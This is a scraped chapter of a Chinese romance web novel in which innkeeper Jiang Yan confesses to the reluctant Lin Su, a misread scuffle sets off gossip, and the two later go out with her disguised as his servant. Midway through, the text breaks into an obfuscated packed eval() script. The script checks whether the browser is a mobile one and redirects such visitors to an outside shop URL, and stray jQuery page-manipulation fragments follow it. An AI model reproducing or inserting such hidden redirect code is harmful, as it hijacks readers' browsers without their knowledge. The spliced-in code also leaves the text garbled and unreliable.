姜雁冲上去，一把抓住林肃的包袱，像个耍赖的孩子般不肯撒手。


    “别走，你别走，我不许你走！”


    “对不起，姜姑娘，我意已决，你莫要再劝...”


    林肃语气轻柔，隔空轻拍姜雁抓着包袱的手，表情却决绝。


    “你为何这么固执，难道真的没有商量的余地了吗？”


    “这几日，在下真的有十分要紧的私事要处理...况且，这也是为了你和大家的安全着想。”


    “我不怕危险的，你武功那么高，现在又有了叶姑娘，我就不信有谁能打过你们两个——”


    林肃叹气，握住姜雁的手腕，略微用力，她不得已松了手上力道。


    眼看林肃背了包袱就要出门，姜雁望着他的背影，心有不甘。


    说吧，再不说怕是没机会了。


    “可是，可是我喜欢你。只要你答应留下来，我什么都愿意做。”


    姜雁一咬牙，还是说出了心里话。


    林肃神色一凛，垂眸道：“姑娘慎言...我这样的人，并非良配。我劝姑娘还是早做打算，另觅夫婿，莫要在我这里浪费时间了。”


    在他看来，这拒绝已经是直白得不能再直白了。


    要是换了其他人，此刻可能心灰意冷或羞愤难当，大概会哭着跑开。


    可姜雁偏不是这样的人。


    她愣在原地，一动不动。脑中苦苦思索，在她眼中，自己浑身上下都是优点。她能向别人表白怎么会不招人喜欢呢？


    越想越疑惑，越想越不甘。


    姜雁小脸憋的通红，实在忍不住了。她终于拍案而起，大喝一声：“你这小子，怎么不识好歹啊？为什么？凭什么？”


    她的反应令林肃颇感意外。


    毕竟他帅而自知，离府这段日子以来，常在人前行走，向他示爱的姑娘没有一千也有八百。那些人说的话都差不多，都是夸他相貌堂堂一表人才。


    他早已习惯了被人表白，面对这些含羞带怯的姑娘，淡淡回绝两句，她们脸皮薄，自然会知难而退。


    可像姜雁这样霸道又蛮横的，他还是第一次遇见。


    “我堂堂往生铺掌柜，体健貌端有房有车，聪明能干，到底哪里配不上你？”


    林肃沉默，刻意回避了姜雁的目光，仿佛有难言之隐。


    姜雁捏着下巴，围着林肃，一边转悠一边嘀咕，满脸怀疑。


    “你是身负血海深仇，无意儿女情长？”


    不应该啊，看他成日云淡风轻的做派，不像。


    “或者，你身怀隐疾，不能人道？”


    林肃瞳孔地震，坚决否认道：“托姑娘的福，在下身体已恢复大半，各项功能均正常，与其他男子别无二致。”


    姜雁的双眸滴溜溜地打转，目光如探照灯般直直打在林肃身上。


    不知为何，林肃被看得有些头皮发麻，他不着痕迹地退了两步。


    可姜雁的下一句话，听得他差点当场吐血。


    “还是说，你喜欢的...其实是男人？”


    他眸光抖了抖，哑然失笑，他不得不转过身去：“不，不是你想的那样。”


    “呼——幸好不是...”


    姜雁抚着胸口，不是弯的就好。别的都好说，但要是他喜欢男人，她可就真拿他没办法了。


    “这也不是，那也不是，到底怎么回事？？”


    “我不管你是什么理由，今天非得给我说出个子丑寅卯来，说不出来不许走！在我这里白吃白住这么多天，眼下你轻飘飘几句话就想拍屁股走人了？”


    “想来就来，想走就走。当我这里是驿站啊？”


    林肃皱眉：“我不是这个意思。”


    “那你到底几个意思？”


    姜雁音调抬高了几度，仰着头靠近，直接把他逼到墙角。


    “住宿费医药费这些我可以不和你计较。你拒绝我的表白也就罢了，居然连个像样的理由都给不出来。这我无论如何也不能接受！今天你必须给我把话说清楚，说到我心服口服为止。否则，你别想走！”


    话音未落，姜雁夺了林肃的包袱，又一把揪过他腰间的玉佩，试图塞进自己怀里。


    “姜姑娘，不可！”


    “哼，有本事你抢回去啊！”


    两人争夺之中发生意外，有人跌倒了。


    姜雁脚下一滑，惊呼出声，仰面倒下，可她一只手抓着林肃的胳膊，另一只手紧紧攥着玉佩，实在无暇顾及。


    眼看着她的脑袋就要磕到坚硬的青石板上，林肃来不及思考，果断过来护她，他眼疾手快，将右手垫在姜雁后脑勺下，这才免去一场事故。


    “啊——”


    林肃的脸在眼前放大，预想中的疼痛并未有到来，姜雁的后脑勺算是保住了，她松了口气，幸亏林肃身手敏捷。


    惊恐被甜蜜代替，她一下觉得心里美滋滋的。看来这家伙还是在意自己的，不枉她忙里忙外照顾了这么多天，算他有点良心。


    眼下两人僵持着的姿势颇有些暧昧，她还想说些什么打破尴尬，可不知为何，林肃却闷哼出声，脸色发白。


    不会是她头太硬，砸坏林肃的手了吧？


    见林肃眉头拧起，姜雁顺着他的目光看过去，却见衣裳里渗出点点血迹。


    糟糕！忘记他身上有伤了。


    她心头一颤，顾不得其他，赶紧爬起来，扯了他的衣服想检查。


    “没事吧，是不是扯到伤口了？”


    “不要...”


    “掌柜的，你们在干嘛呢？声音好大，我在院子里都听到了，没事吧？”


    “等等，先别进来——”


    话音未落，门被推开，月光照在陆灵昭的脸上，她此时表情极为惊谔。


    她看了眼桌上的包袱，又看了看躺在地上衣衫不整的林肃，最后目光落在一脸懵正跨坐在林肃身上的姜雁。


    陆灵昭瞳孔地震。


    姜雁急忙想要爬起来，不想身下人又发出几声呻吟。


    “灵昭，这是个误会，你听我和你解释...”


    真是越描越黑了呢。


    “继续，你们继续。今天月黑风高，我什么也没看到，我什么也没看到。”


    姜雁没来得及说完，陆灵昭惊呼出声，捂着脸跑开，嘴里还大喊大叫，生怕其他人听不见似的。


    两人尴尬对视一眼。


    姜雁率先反应过来，她将玉佩塞入里衣，爬起来朝林肃示威般的挑眉，而后扬长而去。


    她怀里揣着玉佩，就这么睡了一整夜。


    *


    次日一早，姜雁看见杜小云和叶真、夏怡月她们坐在一起，听着陆灵昭绘声绘色讲述昨晚她看见的火辣一幕。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640190|186470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    陆灵昭压低嗓音，故作神秘道：“原来掌柜一直痴恋林肃，听说他要走，压抑已久的感情在此刻爆发，昨晚直接霸王硬上弓啦！”


    杜小云眼珠瞪得溜圆：“哇噻，这么劲爆！”


    叶真追问：“陆姑娘，昨晚到底发生了什么事？”


    “我进去的时候刚好看见掌柜的跨坐在林公子身上，掌柜面色坨红，林公子小脸煞白，啧啧啧...”


    夏怡月感慨：“没想到掌柜的平时看着柔柔弱弱，关键时刻这么厉害！”


    “所以说人不可貌相嘛～”


    姜雁眼皮跳了跳，提了气悄悄走到几人身后。


    陆灵昭等人发现姜雁神色复杂，站在后面一言不发，都默契地闭了嘴，只有杜小云还在滔滔不绝。


    “我看呐，掌柜的不是情难自抑，而是早有预谋。林公子刚来的时候我就发现了，掌柜的看他的眼神，啧啧啧，那叫一个情深意重啊、缠缠绵绵啊，肯定是一早就看上人家了，只是等到现在才下手...喂，你们怎么都不说话了？”


    叶真第一个站起来：“掌柜的，你怎么来了？”


    夏怡月收了碗筷，急急往灶房去了：“哎呀，锅里还炖着鸡呢，得赶紧看看。”


    陆灵昭一拍脑袋：“差点忘了，昨晚衣服还没洗呢。”


    “等等，别走啊，事情不是你们想象的那样...”


    她们一窝蜂散开，完全不给姜雁解释的机会。


    算了。


    也不算空穴来风。


    姜雁吃了早饭，哼着小曲准备去店里看看，不想却看见林肃在门口等她。


    “姜姑娘，你随我来。”


    姜雁眼前一亮：“是约会吗？”


    林肃扶额：“就算...是吧...”


    姜雁一蹦三尺高：“那我回去换身衣服。”


    身后林肃点头：“对，要换身男装。”


    闻言姜雁脚步一顿。


    画面一转，姜雁已变做一身男装打扮，她亦步亦趋跟在林肃身后，活脱脱一个小厮。


    他们出门到现在，不过半个时辰时间，二人身后已经跟了一条长长的尾巴。


    “公子，你、你...好看，这个送你——”


    一个粉面桃腮的小姑娘被她的朋友搡了过来，低着头，颤颤巍巍地递过来一个香囊。


    姜雁嘴角抽动了几下。


    这是第几个人了？


    “谢谢。”


    林肃眉目间尽显温柔，他朝姑娘微微颔首，扭头示意后面的人。


    身为小厮的姜雁赶紧过来接了东西。


    “不知公子，可有婚配？”


    林肃笑而不语，姜雁见状翻了个白眼，张口就来：“早配了，孩子都会打酱油了。”


    “好吧...祝公子幸福。”


    看着姑娘掩面跑开，姜雁心情不太好。这才转了两条街，她怀中的香包发簪已经抱塞得满当当。这林肃都到哪儿都招蜂引蝶，他还偏偏来者不拒，照单全收。


    眼看姜雁的脸越来越黑，林肃脚步却愈发轻快。自来到往生铺，这是他第一次在白天出门。他对自己的外貌是有着清晰认知的，不过姜雁可能还不够了解。


    见姜雁虽然面色不虞，却还没有放弃的意思，他决定再使个狠招。


    他一甩折扇，飘飘然道：“走，我们去迎春阁看看。”